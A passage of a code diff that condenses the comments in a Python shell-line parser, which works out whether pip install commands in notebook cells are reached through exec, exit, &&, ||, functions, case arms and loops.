@@ -1203,8 +1110,7 @@ def _command_execs(command: str) -> bool:
rest = _strip_exec_prefixes(command.lstrip("!").strip(), seen)[0]
if "exec" not in seen:
return False
- # `env exec true` asks env for a PROGRAM called exec, which does not exist, so the parent
- # shell carries on. Only the prefixes bash resolves in-process keep the builtin's meaning.
+ # `env exec` looks for a program called exec, so only in-process prefixes keep the builtin.
if any(name not in _SHELL_RESOLVED_PREFIXES for name in seen[: seen.index("exec")]):
return False
while rest:
@@ -1218,7 +1124,6 @@ def _command_execs(command: str) -> bool:
rest = _split_first_word(tail)[1]
continue
if _REDIRECTION_RE.match(word):
- # `> /x` carries its target as the next word; `>/x` already has it.
rest = _split_first_word(tail)[1] if _REDIRECTION_RE.fullmatch(word) else tail
continue
return True # a utility to hand the shell over to
@@ -1230,15 +1135,12 @@ def _command_ends_shell(command: str) -> bool:
`exec NAME` replaces it and `exit` terminates it; recognising only the first reported `exit 0;
pip install git+...` as a reachable install."""
- # `{ exit; ... }` is a brace group: it runs in the SAME shell, so a terminator inside it
- # ends the line. `( exit )` is a subshell and does not, which is why only `{` is stripped.
+ # `{ exit; }` runs in the same shell and ends the line; `( exit )` is a subshell and does not.
opened = command.lstrip("!").strip()
while True:
if opened.startswith("{") and (len(opened) == 1 or opened[1].isspace()):
opened = opened[1:].lstrip()
continue
- # `then exit` is still an exit. The caller weighs the branch condition separately, so
- # only a body that is actually taken hands anything over.
word, rest = _split_first_word(opened)
if word.lower() in _SHELL_BODY_KEYWORDS:
opened = rest.lstrip()
@@ -1248,15 +1150,13 @@ def _command_ends_shell(command: str) -> bool:
return True
seen: list[str] = []
rest = _strip_exec_prefixes(opened, seen)[0]
- # Same rule as `exec`: `env exit 0` asks env for a PROGRAM called exit, which does not exist.
- # Only the prefixes bash resolves in-process keep the builtin.
+ # Same rule as exec: `env exit 0` looks for a program called exit.
if any(name not in _SHELL_RESOLVED_PREFIXES for name in seen):
return False
return _split_first_word(rest)[0] == "exit"
-# `true` and `:` are documented as always succeeding, so an `&&` after one is always reached.
-# Treating every non-pip command as a possibly-failing probe dropped the install behind them.
+# `true` and `:` always succeed, so an `&&` after one is always reached.
_ALWAYS_SUCCEEDS = frozenset({"true", ":"})
@@ -1275,8 +1175,7 @@ def _piece_success_model(
`!` inverts the pipeline's status, so `! false` succeeds and the `&&` behind it always runs,
while `! pip install x` fails under the replay's model of pip succeeding."""
text = _unwrap_shell_group(piece)[0] # `( ... )` exits with its last command's status
- # Only the FIRST command of a cell carries the notebook's bang, `!cmd` or `! cmd`. Elsewhere a
- # leading `!` is bash's negation, which the loop below counts.
+ # Only the first command carries the notebook bang; elsewhere `!` is bash negation.
if notebook_bang and text.startswith("!"):
text = text[1:].lstrip()
text, negations = _strip_negations(text)
@@ -1287,13 +1186,10 @@ def _piece_success_model(
elif word == "false":
model = False
elif word in ("return", "exit") and _split_first_word(stripped)[1].strip().isdigit():
- # `help return`: "exit with the return value specified by N", so `setup() { return 0; };
- # setup && pip install ...` always installs. A BARE `return` carries the previous command's
- # status, which nothing here names.
+ # `return 0` makes the call succeed; a bare return carries an unknown previous status.
model = _split_first_word(stripped)[1].strip() == "0"
elif functions is not None and word in functions:
- # A call exits with its body's status, so `f() { pip install x; }; f && ...` reaches
- # the tail under the same pip-succeeds model a bare `pip install x &&` rests on.
+ # A call exits with its body's status.
model = functions[word]
else:
model = None
@@ -1356,8 +1252,7 @@ def _close_group(
as the ungrouped form does; discarding the inner state marked y conditional. The pending text
is the command still in hand, which no separator has flushed."""
if _unwrap_shell_group(pending)[0].strip():
- # Fold it through the group's own list rather than replacing the status: in
- # `(false && pip install x)` the trailing command was short-circuited.
+ # Fold through the group's own list: `(false && pip install x)` short-circuits.
last_ok[-1] = _left_hand_status(models, prev_ops, pending, None, notebook_bang)
inner_model = last_ok.pop()
inner = inner_model is True
@@ -1368,8 +1263,7 @@ def _close_group(
assured[-1] = assured[-1] and inner
else:
assured[-1] = assured[-1] or inner
- # Three-valued too, for the `||` reachability fold: `{ false; } || pip install x` always
- # reaches the install, and discarding the group's KNOWN failure marked it conditional.
+ # Three-valued: `{ false; } || pip install x` always reaches the install.
models[-1] = (
inner_model if prev_ops[-1] == "" else _fold_status(models[-1], prev_ops[-1], inner_model)
)
@@ -1391,8 +1285,7 @@ def _fold_pending(
failure it is, and reprocessing read its last lexical `true`."""
if spoken_for or not _unwrap_shell_group(pending)[0].strip():
return
- # `negations` is the `!` in front of the PIPELINE this piece ends, which turns its status
- # around: `! true | true` fails, and folding the raw `true` carried a list bash does not.
+ # `!` negates the whole pipeline's status.
piece = _negated(_piece_success_model(pending, None, notebook_bang), negations)
_fold_and_or(assured, prev_ops, piece is True)
@@ -1446,8 +1339,7 @@ def _left_hand_status(
Called at each `&&`/`||` so the operator sees the status of everything to its left, not just
the piece beside it."""
if spoken_for or not _unwrap_shell_group(pending)[0].strip():
- # A group just closed and the text in hand is its bare bracket. The level ALREADY
- # carries the group's status; folding the bracket as an unknown command wiped it.
+ # A group just closed; the level already carries its status.
return models[-1]
piece = _piece_success_model(pending, functions, notebook_bang)
models[-1] = piece if prev_ops[-1] == "" else _fold_status(models[-1], prev_ops[-1], piece)
@@ -1465,16 +1357,14 @@ def _for_list_is_nonempty(text: str) -> bool:
Only a LITERAL list answers: `$LIST` and a glob may both expand to nothing, while `for x in a
b` runs, so its body is reached as surely as a bare command."""
- # Shell whitespace, not a literal `" in "`: `for x\tin\ta` is the same loop to bash,
- # and finding no list there marked a body that certainly runs as conditional.
+ # Shell whitespace: `for x\tin\ta` is the same loop.
match = re.search(r"\sin\s", text)
if match is None:
return False
words = text[match.end() :].split()
if not words or not any(words):
return False
- # Quoting decides what a metacharacter means: `for x in '*'` iterates over one literal star,
- # while a bare `*` is a glob that may match nothing.
+ # Quoting decides meaning: '*' is one literal, a bare * is a glob that may match nothing.
return not any(_word_may_vanish(word) for word in words)
@@ -1515,8 +1405,7 @@ def _invoked_name(piece: str) -> str:
text = text[header.end() :].lstrip().lstrip("({").lstrip()
while True:
word, rest = _split_first_word(text)
- # `A=1 f`, `2>/dev/null f` and the reserved word `time f` all still call the function;
- # only the wrappers that go looking for an EXECUTABLE do not.
+ # Assignments, redirections and reserved `time` still call the function; exec wrappers do not.
if (
word.lower() in _SHELL_BODY_KEYWORDS
or word == "time"
@@ -1550,8 +1439,7 @@ def _leading_shell_keywords(piece: str) -> list[str]:
if text.startswith("!"):
text = text[1:].lstrip()
text = text.lstrip("({").lstrip()
- # `setup() { if true; then ...` opens a compound INSIDE a definition, and reading the header
- # as the first word hid the `if`, losing the body's known outcome.
+ # A compound may open inside a definition header line.
definition = _FUNCTION_DEF_RE.match(text)
if definition is not None:
text = text[definition.end() :].lstrip().lstrip("({").lstrip()
@@ -1580,68 +1468,49 @@ def _split_chained(line: str) -> list[tuple[str, bool]]:
out: list[tuple[str, bool]] = []
buf: list[str] = []
quote = ""
- # One flag per open group, plus the base list. A command is conditional when any level
- # above it is in a fallback tail, so an inner list cannot clear an outer one.
+ # One flag per open group; an inner list cannot clear an outer fallback tail.
tails = [False]
- # Per open `(`/`{`: does it hold a FUNCTION BODY? Unlike `tails` this survives a separator
- # inside the body, since `;` starts a new and-or list but does not leave the definition.
+ # Per open group: does it hold a function body? Survives separators inside the body.
def_levels = [False]
- # The function each open `{` defines, and per flushed piece the innermost one it sits in. A
- # body is conditional until its function is CALLED, by a later command in the same line, so the
- # ownership has to survive to the second pass.
+ # A body is conditional until its function is called later in the line, so keep ownership.
def_names: list[str | None] = [None]
owners: list[str | None] = []
nodef: list[bool] = []
assumed: list[bool] = []
- # Each definition's exit status once its closing brace is reached. Bash requires the
- # definition to precede the call, so a single left-to-right pass always has it in hand.
+ # Bash requires definition before call, so one left-to-right pass has the status in hand.
func_status: dict[str, bool | None] = {}
- # Definition keys per name, in the order they appear.
instances: dict[str, list[str]] = {}
definitions = 0
- # Per level: whether the last command flushed there is modelled as succeeding. A group
- # exits with that status, which is what the enclosing `&&` reads.
+ # Per level: is the last flushed command modelled as succeeding (the group's exit status).
last_ok: list[bool | None] = [None]
- # Per level: has this and-or list already run a pip command? `A && B` leaves B
- # unconditional only when something to its left is one.
+ # Per level: has this and-or list already run pip (`A && B` is unconditional only then).
list_has_pip = [False]
- # Per level: the operator that joined the piece in hand to the list before it. `||` succeeds
- # when either side did and `&&` only when both, which `list_has_pip` alone cannot recover.
+ # Per level: the operator joining the piece in hand to the list before it.
prev_ops = [""]
- # Per level: the folded exit status of the and-or list to the LEFT of the piece in hand,
- # three-valued because only a CERTAIN failure makes a `||` tail unconditional.
+ # Per level: folded status of the list to the left; three-valued, only certain failure counts.
list_models: list[bool | None] = [None]
buf_conditional = False
- # One entry per open `(`/`{`: True when it opened a grouping. A `)` closing a `$( )` is
- # inside a word, so a `#` after it is a literal, not a comment.
+ # True when a `(`/`{` opened a grouping; a `$( )` close is inside a word.
groupings: list[bool] = []
- # Per level: how many `case` statements are open. An arm's pattern ends in an UNBALANCED `)`,
- # so while one is open that bracket delimits the arm rather than closing the level, and popping
- # on it read an unconditional pip call as conditional.
+ # Per level: open case statements, whose arm patterns end in an unbalanced `)`.
case_depths: list[int] = [0]
grouping_closed = False
- # A `( )` or `{ }` closed and nothing has been flushed since: the level's status already
- # carries it, so folding the text in hand again wiped what the group contributed.
+ # A group closed with nothing flushed since: do not fold the text in hand again.
closed_pending = False
- # `!` in front of a pipeline belongs to the whole pipeline, so it has to outlive the pipe
- # that ended its first command.
+ # A leading `!` belongs to the whole pipeline, so it outlives the first pipe.
pipe_negations = 0
in_pipeline = False
- # Inside the empty parens of a function header, whose brackets open no group.
func_parens = False
- # Per level: was this tail made unconditional by the pip-succeeds assumption? Reporting an
- # install on that basis is intended; cutting a path on it is not.
+ # Per level: tail made unconditional only by the pip-succeeds assumption (report, never cut).
assumed_tail = [False]
- # An open legacy `` `...` `` substitution: its operators belong to the inner command, so
- # without this the `;` inside one split the line into an unreadable fragment.
+ # Operators inside a legacy backtick substitution belong to the inner command.
in_backtick = False
i = 0
def in_sub() -> bool:
return in_backtick or not all(groupings)
- # The operator that ENDED each piece. `exec` under `|` or `&` runs in a subshell, so the
- # parent shell reaches the next command and the list must not be truncated there.
+ # `exec` under `|` or `&` runs in a subshell, so the list continues.
seps: list[str] = []
def flush(separator: str = "") -> None:
@@ -1651,8 +1520,7 @@ def _split_chained(line: str) -> list[tuple[str, bool]]:
out.append((text, buf_conditional))
seps.append(separator)
owners.append(next((name for name in reversed(def_names) if name), None))
- # The same flag WITHOUT the definition. Calling a function makes its body reachable,
- # not unguarded: `setup() { false && pip install x; }; setup` still runs no pip.
+ # Without the definition: calling a function makes its body reachable, not unguarded.
nodef.append(any(tails))
assumed.append(any(assumed_tail))
buf = []
@@ -1662,8 +1530,7 @@ def _split_chained(line: str) -> list[tuple[str, bool]]:
ch = line[i]
in_substitution = in_sub()
if not quote and ch.isalpha() and not (buf and buf[-1].isalnum()):
- # Tracked ahead of the dispatch below: the `in_substitution` branch swallows a substitution's
- # characters whole, so a `case` opened in one would never be seen there.
+ # Tracked before dispatch: the substitution branch swallows characters whole.
keyword = _LEADING_WORD_RE.match(line, i)
if keyword is not None:
if keyword.group(0) == "case":
@@ -1690,7 +1557,6 @@ def _split_chained(line: str) -> list[tuple[str, bool]]:
buf.append(ch)
i += 1
elif ch in ")}" and in_substitution and not (ch == ")" and case_depths[-1]):
- # Close it here, before the guard below would swallow the bracket.
grouping_closed = groupings.pop() if groupings else True
if len(case_depths) > 1:
case_depths.pop()
@@ -1702,8 +1568,7 @@ def _split_chained(line: str) -> list[tuple[str, bool]]:
def_levels.pop()
closing = def_names.pop()
if closing:
- # A group exits with its last list's status, which `_close_group` is
- # about to fold; record it here, before the pop loses it.
+ # Record the group's status before the pop loses it.
func_status[closing.split("#")[0]] = last_ok[-1]
_close_group(list_has_pip, prev_ops, last_ok, list_models, "".join(buf), not out)
closed_pending = True
@@ -1720,13 +1585,10 @@ def _split_chained(line: str) -> list[tuple[str, bool]]:
buf.append(ch) # its separators are its own; the body is split on its own later
i += 1
elif line.startswith("||", i):
- # `false || pip install ...` always reaches the fallback, so only an UNKNOWN left side opens a
- # tail, and the left side is the whole list: `true || false || pip install ...` skips it.
+ # Only an unknown left side opens a `||` tail, and the left side is the whole list.
left_model = _left_hand_status(
list_models, prev_ops, "".join(buf), func_status, not out, closed_pending
)
- # The pipeline this operator closes exits with its last command's status, turned
- # around by the `!` in front of the whole thing.
left_model = _negated(left_model, pipe_negations)
if pipe_negations % 2:
list_models[-1] = left_model
@@ -1740,18 +1602,11 @@ def _split_chained(line: str) -> list[tuple[str, bool]]:
buf_conditional = any(tails) or any(def_levels)
i += 2
elif line.startswith("&&", i):
- # `A && B` runs B only when A succeeded, so B is conditional unless the list to its left
- # contains a pip command, which the replay models as succeeding. The whole list, not the last
- # piece: the left operand of `A || B && C` is `(A || B)`, which succeeds when either ran.
- #
- # The exception is the point: `pip install a && pip install b` is the ordinary idiom and
- # dropping its second half would cost more coverage than it saves. What this fixes is a probe
- # guard, `nvidia-smi && pip install torch==2.12.0`, which installs nothing on a CPU box.
+ # `A && B` runs B only if A succeeded; B is unconditional only if a pip command is to its left
+ # (modelled as succeeding), so `nvidia-smi && pip install ...` stays conditional.
left_and = _left_hand_status(
list_models, prev_ops, "".join(buf), func_status, not out, closed_pending
)
- # The pipeline this operator closes exits with its last command's status, turned
- # around by the `!` in front of the whole thing.
left_and = _negated(left_and, pipe_negations)
if pipe_negations % 2:
list_models[-1] = left_and
@@ -1760,37 +1615,31 @@ def _split_chained(line: str) -> list[tuple[str, bool]]:
)
pipe_negations, in_pipeline = 0, False
prev_ops[-1] = "&&"
- # Reaching this tail rests on the replay's own model of pip succeeding, which is
- # fine for reporting an install but must not make anything UNREACHABLE.
+ # Relies on pip-succeeds: fine for reporting an install, never for making anything unreachable.
assumed_tail[-1] = assumed_tail[-1] or _piece_assumes_pip("".join(buf))
flush("&&")
- # A left side modelled as CERTAIN success reaches the tail as surely as the pip
- # idiom does: `f() { pip install x; }; f && ...` and `true && ...` both run it.
+ # A certain-success left side reaches the tail too (`true && ...`).
tails[-1] = not (list_has_pip[-1] or left_and is True)
buf_conditional = any(tails) or any(def_levels)
i += 2
elif (
ch == ";"
or (
- # `A & B` backgrounds A and runs B, `A | B` runs both: unconditional either way.
ch in "&|"
- # `>&`, `<&`, `&>` and `>|` are redirections rather than separators: `0<&1 pip install ...` is
- # one command, and splitting on its `&` left `1 pip install ...`, which reads as no pip.
+ # `>&`, `<&`, `&>` and `>|` are redirections, not separators.
and not (
ch == "&" and (line[i - 1 : i] in ("<", ">") or line[i + 1 : i + 2] == ">")
)
and not (ch == "|" and line[i - 1 : i] == ">")
)
):
- # A separator ends the and-or LIST, and a group exits with that list's status rather than its
- # last lexical command's: `{ false && pip install x; }` fails, because the install never ran.
+ # A group exits with its list's folded status, not its last lexical command's.
folded = _left_hand_status(
list_models, prev_ops, "".join(buf), func_status, not out, closed_pending
)
if ch == "|":
if not in_pipeline:
- # Only the head carries it: `a | ! b` is a syntax error, so no later
- # segment can introduce one.
+ # `a | ! b` is a syntax error, so only the head carries a negation.
pipe_negations = _pipeline_negations("".join(buf), not out)
in_pipeline = True
else:
@@ -1807,8 +1656,7 @@ def _split_chained(line: str) -> list[tuple[str, bool]]:
buf_conditional = any(tails) or any(def_levels)
i += 1
else:
- # `f()` is a function header, not a group: pushing a level for its empty parens marked the
- # whole body as "a group just closed" and lost the definition's status. Ordinary characters.
+ # `f()` is a function header, not a group.
if (
ch == "("
and _FUNCTION_NAME_RE.fullmatch(_behind_keywords("".join(buf)))
@@ -1818,24 +1666,20 @@ def _split_chained(line: str) -> list[tuple[str, bool]]:
if ch == ")" and func_parens:
func_parens = False # the header's own bracket, matching the skip above
elif ch in "({":
- # `$(`, `<(`, `>(` open a substitution running its own commands; a bare `(` groups this
- # line's. `${ }` expands a WORD and runs nothing, so splitting on the `||` in
- # `${X:-a||pip install ...}` invents a command bash never runs.
+ # `$(`, `<(`, `>(` run commands; `${ }` expands a word and runs nothing.
groupings.append(
not (
(ch == "(" and buf and buf[-1] in "$<>")
or (ch == "{" and buf and buf[-1] == "$")
)
)
- # `setup() { :; pip install ...; }` defines a function nobody called, and the header sits in
- # the piece that opens the brace, so flagging that piece alone freed every later command.
+ # An uncalled function body stays conditional through every later command in it.
tails.append(False)
assumed_tail.append(False)
header = _FUNCTION_DEF_RE.fullmatch(_behind_keywords("".join(buf)))
def_levels.append(ch == "{" and header is not None)
if ch == "{" and header:
- # One key per DEFINITION, not per name: `f(){ a; }; f; f(){ b; }` calls the FIRST body, and
- # keying by name compared the call against the last definition of `f`.
+ # One key per definition: `f(){ a; }; f; f(){ b; }` calls the first body.
name = _function_name(header.group(0))
definitions += 1
key = f"{name}#{definitions}"
@@ -1857,8 +1701,7 @@ def _split_chained(line: str) -> list[tuple[str, bool]]:
if len(case_depths) > 1:
case_depths.pop()
if len(tails) > 1:
- # The command in hand belongs to the level being closed, so its flag stays
- # what it was; the pop only affects what comes after.
+ # The command in hand belongs to the closing level; the pop affects only what follows.
tails.pop()
if len(assumed_tail) > 1:
assumed_tail.pop()
@@ -1878,65 +1721,46 @@ def _split_chained(line: str) -> list[tuple[str, bool]]:
flush()
(head, head_conditional), *rest = out
head_text, head_keyword = _unwrap_shell_group(head)
- # One entry per piece in `out`, empties included: dropping them before the zip slid every later
- # pair by one and left a `case`'s last arms unscanned. Filtered after the pairing.
+ # Keep empty pieces until after the zip, or later pairs slide by one.
commands = [(head_text, head_conditional or head_keyword)]
- # The keyword alone, without the piece's own flag folded in: entering a called function removes
- # the definition from that flag, and the combined one double-counted it.
+ # The keyword flag alone; the piece's own flag would double-count a called definition.
kw_flags = [head_keyword]
for piece, flag in rest:
text, keyword = _unwrap_shell_group(piece.strip())
- # A space when the command itself starts with bash's negation: glued to the notebook bang,
- # `! false` read as a command named `!false` and the negation was lost.
+ # Keep the space so `! false` is not read as a command `!false`.
commands.append(
(f"!{' ' if text.startswith('!') else ''}{text}" if text else "", flag or keyword)
)
kw_flags.append(keyword)
- # `echo $(pip install x)` runs the install while the outer command is not pip, so the inner one
- # is a command of its own. Read off the raw pieces: the unwrap above strips an assignment
- # prefix like ``X=`pip install y` ``.
+ # `echo $(pip install x)` runs the install, so inner substitutions are commands too.
ordered: list[tuple[str, bool]] = []
- # An unconditional `exec` or `exit` ends the shell, so every OUTER command after it is
- # unreachable. Its own substitutions expanded first, and one inside a `$( )` replaces only that
- # subshell, so this applies at this level alone.
+ # An unconditional exec or exit makes every later outer command unreachable.
handed_over = False
seps = seps + [""] * (len(out) - len(seps))
- # One flag per open compound statement: True once its BODY has started. `if false; then echo x;
- # pip install ...; fi` runs neither command, but only the piece carrying the `then` was flagged.
+ # One flag per open compound: True once its body has started.
body_levels: list[bool] = []
- # Per open compound: what its test is modelled as returning, or None when unknown. A body
- # whose test can never succeed is unreachable rather than conditional.
+ # Per open compound: its test's modelled result; a never-true test makes the body unreachable.
test_models: list[bool | None] = []
- # Per open compound, over the arms so far: did every one certainly fail, and was every one
- # KNOWN? Together they decide an `elif` test and an `else` branch, which neither the arm in hand
- # nor a plain inversion can tell.
+ # Per open compound: did every arm so far certainly fail, and was each known (for elif/else).
arms_failed: list[bool] = []
arms_known: list[bool] = []
- # Per open compound: the word that opened it, whether the arm in hand is even reached, and
- # whether the condition folded so far leans on the pip-succeeds assumption.
+ # Per open compound: opener word, whether the arm is reached, and whether pip-success was assumed.
openers: list[str] = []
arm_reached: list[bool] = []
cond_assumed: list[bool] = []
- # The same condition folded with pip's status left UNKNOWN. Comparing the two says whether the
- # pip-succeeds assumption decided it, which a sticky flag could not.
+ # The condition folded with pip's status unknown, to tell whether the assumption decided it.
cond_models: list[bool | None] = []
- # Where each function's body landed in `ordered`, and the names invoked unconditionally.
body_entries: dict[str, list[tuple[int, bool]]] = {}
- # Per function body, the names it invokes unconditionally WITHIN that body. Reached only
- # once the body itself is, which is what makes the call graph transitive.
+ # Per body, names it invokes unconditionally; reached only once the body is, so transitive.
body_invokes: dict[str, set[tuple[str, int]]] = {}
called: set[tuple[str, int]] = set()
maybe_called: set[tuple[str, int]] = set()
- # Depth of open compounds at an unconditional `break`/`continue`. Bash jumps past `done`, so
- # the rest of that body never runs; loop-local, unlike `exit`, which ends the shell.
+ # Open-compound depth at an unconditional break/continue; loop-local, unlike exit.
broke_at: int | None = None
- # Functions whose body has hit an unconditional `return`, and the last piece index each
- # definition occupies. `return` ends the BODY, not the shell, and a call resolves against the
- # definition in force at that point: bash fails `f` written before `f()`.
+ # `return` ends the body, not the shell; a call resolves against the definition in force then.
returned: set[str] = set()
def_last_index: dict[str, int] = {}
- # Functions whose body ends the SHELL, and where each name was first called. The terminator is
- # conditional while it is only a definition, so the effect applies when the call is resolved.
+ # Functions whose body ends the shell; applied when the call is resolved.
ends_shell: set[str] = set()
call_at: dict[str, int] = {}
for index, ((piece, flag), (text, command_flag), separator) in enumerate(
@@ -1945,13 +1769,11 @@ def _split_chained(line: str) -> list[tuple[str, bool]]:
if handed_over:
break
keywords = _leading_shell_keywords(piece)
- # The SELECTOR of a `case` runs before any arm is chosen, so a substitution in it is
- # unconditional even though the arms it opens are not.
+ # A case selector runs before any arm, so a substitution in it is unconditional.
opens_case = "case" in keywords
for keyword in keywords:
if keyword == "case":
- # Every command between here and its `esac` sits in some arm and only the matching arm runs.
- # No body keyword opens one, so the level is active from the word itself.
+ # Everything until esac sits in some arm, so the level is active from the word itself.
body_levels.append(True)
test_models.append(None)
arms_failed.append(False)
@@ -1973,16 +1795,14 @@ def _split_chained(line: str) -> list[tuple[str, bool]]:
if body_levels:
body_levels[-1] = True
if keyword in ("then", "do"):
- # The condition is complete: fold it in, invert an `until`, and let
- # the arm bookkeeping see the RESULT rather than the first piece.
+ # Condition complete: fold it, invert an until, and record the result.
model = test_models[-1]
if openers[-1] == "until" and model is not None:
model = not model
if not arm_reached[-1]:
model = None
elif model is False and cond_assumed[-1]:
- # The condition is false only because the replay assumes pip succeeds, and
- # `if ! pip install x; then ...` does run its body when that install fails.
+ # False only via the pip-succeeds assumption; `if ! pip install x` can run its body.
model = None
if openers[-1] in ("if", "until", "while"):
arms_known[-1] = (
@@ -1992,15 +1812,13 @@ def _split_chained(line: str) -> list[tuple[str, bool]]:
test_models[-1] = model
cond_models[-1] = model
elif keyword == "else":
- # `else` runs exactly when every arm failed. Inverting the arm in hand
- # answered that only for a bare `if`/`else`.
+ # `else` runs exactly when every arm failed.
test_models[-1] = (
True if arms_failed[-1] else (False if arms_known[-1] else None)
)
cond_models[-1] = test_models[-1]
elif keyword == "elif":
- # Its test is reached only when every earlier arm failed, and while it
- # is being read the level is back in a test region.
+ # An elif test is reached only when every earlier arm failed.
arm_reached[-1] = arms_failed[-1]
body_levels[-1] = False
openers[-1] = "if"
@@ -2008,8 +1826,7 @@ def _split_chained(line: str) -> list[tuple[str, bool]]:
test_models[-1] = True if arms_failed[-1] else None
cond_models[-1] = test_models[-1]
else:
- # A body word with no open compound above it: every stack grows together, or the matching
- # `fi` pops one that was never pushed and the lint run dies on an IndexError.
+ # Keep stacks in step, or the matching fi pops an unpushed level (IndexError).
body_levels.append(True)
test_models.append(None)
arms_failed.append(False)
@@ -2027,11 +1844,8 @@ def _split_chained(line: str) -> list[tuple[str, bool]]:
arm_reached.pop()
cond_assumed.pop()
cond_models.pop()
- # `flag` alone is the separator-level state: a substitution inside a compound body or a case
- # arm is expanded only when that body runs.
- # A level speaks only once its BODY has started, and says the outcome of the branch in hand:
- # `if true` certainly runs, `if false` never does, anything else is a path the notebook may
- # take. A false branch still has to be inverted for `else`, which does run.
+ # A level speaks only once its body has started: `if true` runs, `if false` never does,
+ # anything else may run. A false branch is inverted for else.
active = [model for level, model in zip(body_levels, test_models) if level]
if any(model is False for model in active):
continue # this branch can never be taken, so nothing in it runs
@@ -2040,11 +1854,8 @@ def _split_chained(line: str) -> list[tuple[str, bool]]:
broke_at = None # the loop closed; what follows `done` runs again
else:
continue # still inside the loop the `break` jumped out of
- # `command_flag` is the `then`/`else`/arm-label the piece carries, which means "conditional"
- # only because the branch usually is; when the branch is KNOWN to be taken it says nothing. A
- # case arm always leaves a None in `active`, so this can never clear an arm label.
- # An `elif` whose earlier arms all certainly failed is a TEST, and a test runs whenever the
- # statement does.
+ # A then/else/arm flag means conditional only if the branch is not known to be taken.
+ # An elif after certain failures is a test, which runs whenever the statement does.
reached_test = bool(body_levels) and not body_levels[-1] and arm_reached[-1]
certain_branch = reached_test or (bool(active) and all(model is True for model in active))
piece_conditional = (
@@ -2052,8 +1863,7 @@ def _split_chained(line: str) -> list[tuple[str, bool]]:
or (command_flag and not certain_branch)
or any(model is not True for model in active)
)
- # A `case` selector sits in the same piece as the first arm, so the arm body keeps the
- # level this piece opened while the substitutions ahead of it do not.
+ # The case selector shares a piece with the first arm.
selector = (
zip(body_levels[:-1], test_models[:-1]) if opens_case else zip(body_levels, test_models)
)
@@ -2062,26 +1872,20 @@ def _split_chained(line: str) -> list[tuple[str, bool]]:
)
for inner in _substitution_bodies(piece):
for inner_text, inner_flag in _split_chained(f"!{inner}"):
- # A substitution inherits the parent's functions, so `f(){ pip install ...; }; echo $(f)`
- # calls f. The recursive parse cannot see the definition, so the CALL is recorded here, where
- # the reachability walk resolves it. One the notebook may not expand reaches the body
- # without making anything in it certain.
+ # A substitution inherits the parent's functions; record the call for the reachability walk.
if sub_conditional or inner_flag:
maybe_called.add((_invoked_name(inner_text), index))
else:
called.add((_invoked_name(inner_text), index))
ordered.append((inner_text, sub_conditional or inner_flag))
- # `${READY:-$(pip install ...)}` expands its word only when READY is unset, so the
- # install inside it is a path the notebook MAY take, never one it certainly does.
+ # `${READY:-$(pip install ...)}` may run, never certainly.
for inner in _substitution_bodies(piece, conditional = True):
for inner_text, _ in _split_chained(f"!{inner}"):
maybe_called.add((_invoked_name(inner_text), index))
ordered.append((inner_text, True))
if text:
- # `if false` / `while false` / `until true` never reach their body, so what follows is
- # unreachable rather than conditional and an install from it is not a finding.
- # Still reading a condition: fold this piece into it, or `if false || true; then ...` stores
- # the `false` alone. The inversion and arm bookkeeping happen when `then`/`do` closes it.
+ # A never-true test makes the body unreachable, not conditional. Fold condition pieces until
+ # then/do closes it.
if body_levels and not body_levels[-1]:
model = (
_for_list_is_nonempty(text) or None
@@ -2095,10 +1899,7 @@ def _split_chained(line: str) -> list[tuple[str, bool]]:
if joiner not in ("&&", "||")
else _fold_status(test_models[-1], joiner, model)
)
- # Only while the assumption still DECIDES the condition: `if false && pip install x` fails
- # whatever pip does, and a sticky flag marked an `else` bash always runs conditional. Folding
- # the condition again with pip unknown answers it, the two differing exactly when the
- # assumption is load-bearing, which `if ! pip install x` still is.
+ # Only while the pip-success assumption still decides the condition.
unassumed = None if _piece_assumes_pip(text) else model
cond_models[-1] = (
unassumed
@@ -2106,15 +1907,9 @@ def _split_chained(line: str) -> list[tuple[str, bool]]:
else _fold_status(cond_models[-1], joiner, unassumed)
)
cond_assumed[-1] = cond_models[-1] is not test_models[-1]
- # A bare `setup` invokes it. Only the FIRST word: `setup --dry-run` calls it, `echo setup`
- # does not.
- # The RAW first word: `env f`, `nohup f` and `command f` look for an executable named f, so
- # none reaches a shell function, and entering the body let its `exit` truncate the line.
+ # Only the raw first word calls a function; env/nohup/command look for an executable.
invoked = _invoked_name(piece)
- # What this command's flag would be with the definition entered; every other reason it is
- # conditional still stands.
- # `command_flag` on the HEADER piece is the definition itself, which entering the function
- # removes; on any other piece it is a real `then` or arm label.
+ # The flag with the definition entered; on a header piece command_flag is the definition.
header_match = _FUNCTION_DEF_RE.match(piece.lstrip("!").strip())
header_piece = header_match is not None
header_span = (
@@ -2129,8 +1924,7 @@ def _split_chained(line: str) -> list[tuple[str, bool]]:
)
owner = owners[index]
if owner is not None:
- # Keyed by DEFINITION, not by name: `f(){ ...; }; f; f(){ :; }` calls the first body, which
- # comparing against the final definition left conditional.
+ # Keyed by definition, not name: a call uses the definition in force at that point.
def_last_index[owner] = index
if owner in returned:
continue # the body already returned; nothing after it in this function runs
@@ -2143,8 +1937,7 @@ def _split_chained(line: str) -> list[tuple[str, bool]]:
not assumed[index]
and separator not in ("|", "&")
and _command_ends_shell(
- # The header shares this piece and has to come off before the terminator behind it is
- # visible. Still the RAW body: the unwrap producing `text` strips `exec` with it.
+ # Strip the header to see the terminator; raw body, since unwrapping strips exec.
piece[header_span:] if header_piece else piece
)
):
@@ -2152,13 +1945,10 @@ def _split_chained(line: str) -> list[tuple[str, bool]]:
elif not piece_conditional:
called.add((invoked, index))
if separator not in ("|", "&"):
- # `f | cat` runs f in a subshell, so a terminator inside it ends only
- # that subshell and the parent shell reaches the next command.
+ # `f | cat` runs f in a subshell, so its terminator does not end the parent.
call_at.setdefault(invoked, len(ordered))
ordered.append((text, piece_conditional))
- # The RAW piece: `_unwrap_shell_group` strips `exec` out of `text` with every other
- # transparent prefix. An `exec` bash may never reach hands nothing over, so the body condition
- # counts here as much as the separator one.
+ # Use the raw piece: unwrapping strips exec. An unreached exec hands nothing over.
handed_over = (
not piece_conditional
and not assumed[index] # only certainly-reached terminators cut the list
@@ -2171,26 +1961,18 @@ def _split_chained(line: str) -> list[tuple[str, bool]]:
and _split_first_word(_strip_exec_prefixes(text.lstrip("!").strip())[0].strip())[0]
in ("break", "continue")
):
- # It jumps out of the innermost LOOP, not always the compound it sits in: in `while ...; do
- # if ...; then break; fi; ...; done` the `fi` closes long before the body it skipped ends.
- # Only inside a loop: bash reports "break: only meaningful in a `for', `while' or `until'
- # loop" and carries on, so binding the jump to an enclosing `if` dropped commands that run.
